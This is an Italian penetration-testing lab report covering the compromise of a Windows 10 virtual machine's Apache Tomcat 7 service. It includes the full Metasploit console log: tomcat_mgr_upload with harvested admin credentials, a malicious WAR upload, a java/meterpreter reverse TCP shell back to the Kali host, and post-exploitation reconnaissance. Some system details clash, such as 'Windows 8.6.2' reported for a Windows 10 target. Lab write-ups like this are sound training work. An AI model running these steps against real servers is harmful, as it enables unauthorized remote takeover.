

REPORT DI LABORATORIO - GIORNO 5

1. Dettagli di Connessione e Topologia di Rete

- IP Kali Linux: 192.168.200.100
- IP Target (Windows 10): 192.168.200.200
- Porta di Ascolto Payload: 7777

2. Attività Svolte

1. Configurazione della Rete di Laboratorio:

- Impostazione dell'interfaccia di rete virtuale su Windows 10 e configurazione dell'indirizzo IP statico (192.168.200.200).
- Verifica della raggiungibilità del target tramite test di connettività ICMP (Ping) e conferma dell'operatività del servizio **Apache Tomcat 7.0.81** sulla porta 8080.

2. Fase di Enumerazione e Credenziali:

- Accesso al file di configurazione locale del server (tomcat-users.xml) situato nella directory di installazione (C:\tomcat7\conf).
- Individuazione delle credenziali di accesso amministrative configurate per il servizio (admin / password).

3. Sfruttamento della Vulnerabilità (Exploitation):

- Configurazione del framework **Metasploit** utilizzando il modulo multi/http/tomcat_mgr_upload.
- Inserimento dei parametri di connessione (RHOSTS, RPORT, LHOST, LPORT) e autenticazione tramite le credenziali estratte.
- Invio del payload **java/meterpreter/reverse_tcp** tramite caricamento di un file WAR malevolo sull'interfaccia Tomcat Manager.
- Apertura con successo della sessione **Meterpreter** e pulizia automatica post-sfruttamento (undeploy del servizio caricato).

```
[*] metasploit 0.4.135-dev
+ -- --[ 2,654 exploits - 1,238 auxiliary - 2,141 payloads
+ -- --[ 433 post - 49 encoders - 14 nops - 12 evasion
Metasploit Documentation: https://docs.metasploit.com/
The Metasploit Framework is a Rapid7 Open Source Project

msf > use exploit/multi/http/tomcat_mgr_upload
[*] No payload configured, defaulting to java/meterpreter/reverse_tcp
msf exploit(multi/http/tomcat_mgr_upload) > set RHOST 192.168.200.200
RHOST => 192.168.200.200
msf exploit(multi/http/tomcat_mgr_upload) > set RPORT 8080
RPORT => 8080
msf exploit(multi/http/tomcat_mgr_upload) > set LHOST 192.168.200.100
LHOST => 192.168.200.100
msf exploit(multi/http/tomcat_mgr_upload) > set LPORT 7777
LPORT => 7777
msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername tomcat
HttpUsername => tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword tomcat
HttpPassword => tomcat
msf exploit(multi/http/tomcat_mgr_upload) > set PAYLOAD java/meterpreter/reverse_tcp
PAYLOAD => java/meterpreter/reverse_tcp
msf exploit(multi/http/tomcat_mgr_upload) > exploit
[*] Started reverse TCP handler on 192.168.200.100:7777
[*] Retrieving session ID and CSRF token...
[*] Exploit aborted due to failure: unknown: Unable to access the Tomcat Manager
[*] Exploit completed, but no session was created.
msf exploit(multi/http/tomcat_mgr_upload) > set HttpUsername admin
HttpUsername => admin
msf exploit(multi/http/tomcat_mgr_upload) > set HttpPassword password
HttpPassword => password
msf exploit(multi/http/tomcat_mgr_upload) > exploit
[*] Started reverse TCP handler on 192.168.200.100:7777
[*] Retrieving session ID and CSRF token...
[*] Uploading and deploying gpPnB...
[*] Executing gpPnB...
[*] Sending stage (58073 bytes) to 192.168.200.200
[*] Meterpreter session 1 opened (192.168.200.100:7777 -> 192.168.200.200:49585) at 2026-07-29 11:14:02 -0400
[*] Undeploying gpPnB...
[*] Undeployed at /manager/html/undeploy

meterpreter > getuid
Server username: DESKTOP-9K104BT
meterpreter > sysinfo
Computer      : DESKTOP-9K104BT
OS            : Windows 8.6.2 (amd64)
Architecture : x64
System Language : it_IT
Meterpreter   : java/windows
meterpreter >
```

3. Risposta alle Evidenze Richieste

1. **Tipologia della macchina target:** La macchina target è una **Virtual Machine (Windows 10)**, come confermato dall'ambiente di laboratorio e dai parametri di sistema rilevati.
2. **Impostazioni di rete:** Scheda di rete configurata con IP statico **192.168.200.200**, Subnet Mask **255.255.255.0**.
3. **Presenza di webcam attive:** Dall'analisi della sessione Meterpreter tramite i comandi di controllo delle periferiche, **non risultano webcam attive o collegate** all'interno dell'ambiente virtualizzato target.
4. **Evidenza grafica:** Acquisizione dell'evidenza visiva dell'ambiente di laboratorio tramite cattura dello schermo host della macchina virtuale Windows 10 in esecuzione con i servizi attivi.

